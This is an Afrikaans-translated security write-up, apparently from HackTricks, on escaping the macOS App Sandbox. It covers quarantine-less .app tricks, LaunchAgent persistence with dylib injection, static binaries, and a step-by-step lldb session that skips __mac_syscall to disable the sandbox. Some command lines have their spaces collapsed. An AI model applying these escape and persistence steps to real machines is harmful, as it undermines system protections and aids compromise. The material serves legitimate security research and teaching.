In die vorige afbeelding is dit moontlik om te sien hoe die sandput gelaai sal word wanneer 'n aansoek met die toestemming com.apple.security.app-sandbox uitgevoer word.
Die samesteller sal /usr/lib/libSystem.B.dylib aan die binêre lê.
Daarna sal libSystem.B ander verskeie funksies aanroep totdat die xpc_pipe_routine die toestemmings van die aansoek na securityd stuur. Securityd kontroleer of die proses binne die Sandput geïsoleer moet word, en indien wel, sal dit geïsoleer word.
Laastens sal die sandput geaktiveer word met 'n oproep na __sandbox_ms wat __mac_syscall sal aanroep.
Moontlike Oorspronge
Oorsprong van die karantynatribuut
Lêers wat deur gesandputte prosesse geskep word kry die karantynatribuut om sandputontsnapping te voorkom. As jy egter daarin slaag om 'n .app-vouer sonder die karantynatribuut binne 'n gesandputte aansoek te skep, kan jy die aansoekbundel-binêre lêer laat wys na /bin/bash en voeg 'n paar omgewingsveranderlikes by die plist om open te misbruik om die nuwe aansoek ongesandput te begin.
Daarom, op hierdie oomblik, as jy net in staat is om 'n vouer met 'n naam wat eindig op .app sonder 'n karantynatribuut te skep, kan jy die sandput ontsnap omdat macOS slegs die karantyn-atribuut in die .app-vouer en in die hoofuitvoerbare lêer kontroleer (en ons sal die hoofuitvoerbare lêer na /bin/bash wys).
Let daarop dat as 'n .app-bundel reeds gemagtig is om uit te voer (dit het 'n karantyn xttr met die gemagtig om uit te voer-vlag daarop), kan jy dit ook misbruik... behalwe dat jy nou nie binne .app-bundels kan skryf tensy jy sekere bevoorregte TCC-perms het (wat jy nie binne 'n hoë sandput sal hê nie).
Selfs as 'n aansoek bedoel is om gesandput te word (com.apple.security.app-sandbox), is dit moontlik om die sandput te omseil as dit vanaf 'n Beginagent uitgevoer word (~/Library/LaunchAgents) byvoorbeeld.
Soos verduidelik in hierdie pos, as jy volharding wil verkry met 'n aansoek wat gesandput is, kan jy dit outomaties laat uitvoer as 'n Beginagent en miskien boosaardige kode inspuit via DyLib-omgewingsveranderlikes.
Misbruik van Outomatiese Beginplekke
As 'n gesandputte proses kan skryf op 'n plek waar later 'n ongesandputte aansoek die binêre lêer gaan uitvoer, sal dit in staat wees om te ontsnap deur net die binêre lêer daar te plaas. 'n Goeie voorbeeld van hierdie soort plekke is ~/Library/LaunchAgents of /System/Library/LaunchDaemons.
Hiervoor mag jy selfs 2 stappe nodig hê: Om 'n proses met 'n meer inskiklike sandput (file-read*, file-write*) jou kode te laat uitvoer wat eintlik in 'n plek sal skryf waar dit ongesandput uitgevoer sal word.
Kyk na hierdie bladsy oor Outomatiese Beginplekke:
As jy vanuit die sandputproses in staat is om ander prosesse wat in minder beperkende sandputte (of geen) loop, te kompromitteer, sal jy kan ontsnap na hul sandputte:
Hierdie navorsing het 2 maniere ontdek om die Sandput te omseil. Omdat die sandput vanuit die gebruikersruimte toegepas word wanneer die libSystem-biblioteek gelaai word. As 'n binêre lêer dit kon vermy om dit te laai, sou dit nooit gesandput word nie:
As die binêre lêer heeltemal staties gekompileer was, kon dit vermy om daardie biblioteek te laai.
As die binêre lêer nie enige biblioteke hoef te laai nie (omdat die koppelaar ook in libSystem is), sal dit nie libSystem hoef te laai nie.
Skelkodes
Let daarop dat selfs skelkodes in ARM64 in libSystem.dylib gekoppel moet word:
Hierdie lêer bevat die toestemmings wat aan die sandbox-toepassing toegeken is. Dit bepaal watter spesiale funksies die toepassing mag uitvoer en watter hulpbronne dit kan benader.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict><key>com.apple.security.app-sandbox</key><true/></dict></plist>
Inligting
Hierdie lêer bevat die konfigurasie van die sandbox vir die toepassing. Dit bevat die beperkings en toestemmings wat aan die toepassing toegeken is. Dit is belangrik om die inhoud van hierdie lêer te verstaan om die beperkings van die sandbox te omseil.
# Compile itgcc-Xlinker-sectcreate-Xlinker__TEXT-Xlinker__info_plist-XlinkerInfo.plistsand.c-osand# Create a certificate for "Code Signing"# Apply the entitlements via signingcodesign-s<cert-name>--entitlementsentitlements.xmlsand
Die toepassing sal probeer om die lêer ~/Desktop/del.txt te lees, wat die Sandbox nie sal toelaat nie.
Skep 'n lêer daarin sodat sodra die Sandbox omseil is, dit dit kan lees:
echo"Sandbox Bypassed">~/Desktop/del.txt
Laat ons die aansoek ontleed om te sien wanneer die Sandboks gelaai word:
# Load app in debugginglldb./sand# Set breakpoint in xpc_pipe_routine(lldb) b xpc_pipe_routine# run(lldb) r# This breakpoint is reached by different functionalities# Check in the backtrace is it was de sandbox one the one that reached it# We are looking for the one libsecinit from libSystem.B, like the following one:(lldb) bt* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routineframe#1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584frame#2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64frame#3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80frame#4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272# To avoid lldb cutting info(lldb) settings set target.max-string-summary-length 10000# The message is in the 2 arg of the xpc_pipe_routine function, get it with:(lldb) p (char*) xpc_copy_description($x1)(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored(lldb) register read x2x2=0x000000016fdfd660# Move until the end of the function(lldb) finish# Read the response## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY(lldb) memory read -f p 0x000000016fdfd660 -c 10x16fdfd660:0x0000600003d04000(lldb) p (char*) xpc_copy_description(0x0000600003d04000)(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'(lldb) c# The 1 arg is the name of the policy, in this case "Sandbox"(lldb) memory read -f s $x00x19300eb22:"Sandbox"## BYPASS## Due to the previous bp, the process will be stopped in:Process2517stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame#0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscalllibsystem_kernel.dylib`:->0x187659900<+0>:movx16,#0x17d0x187659904<+4>:svc#0x800x187659908<+8>:b.lo0x187659928 ; <+40>0x18765990c<+12>:pacibsp# To bypass jump to the b.lo address modifying some registers first(lldb) breakpoint delete 1 # Remove bp(lldb) register write $pc 0x187659928 #b.lo address(lldb) register write $x0 0x00(lldb) register write $x1 0x00(lldb) register write $x16 0x17d(lldb) cProcess2517resumingSandboxBypassed!Process2517exitedwithstatus=0 (0x00000000)
Selfs met die Sandboks omseil, sal TCC die gebruiker vra of hy die proses wil toelaat om lêers vanaf die lessenaar te lees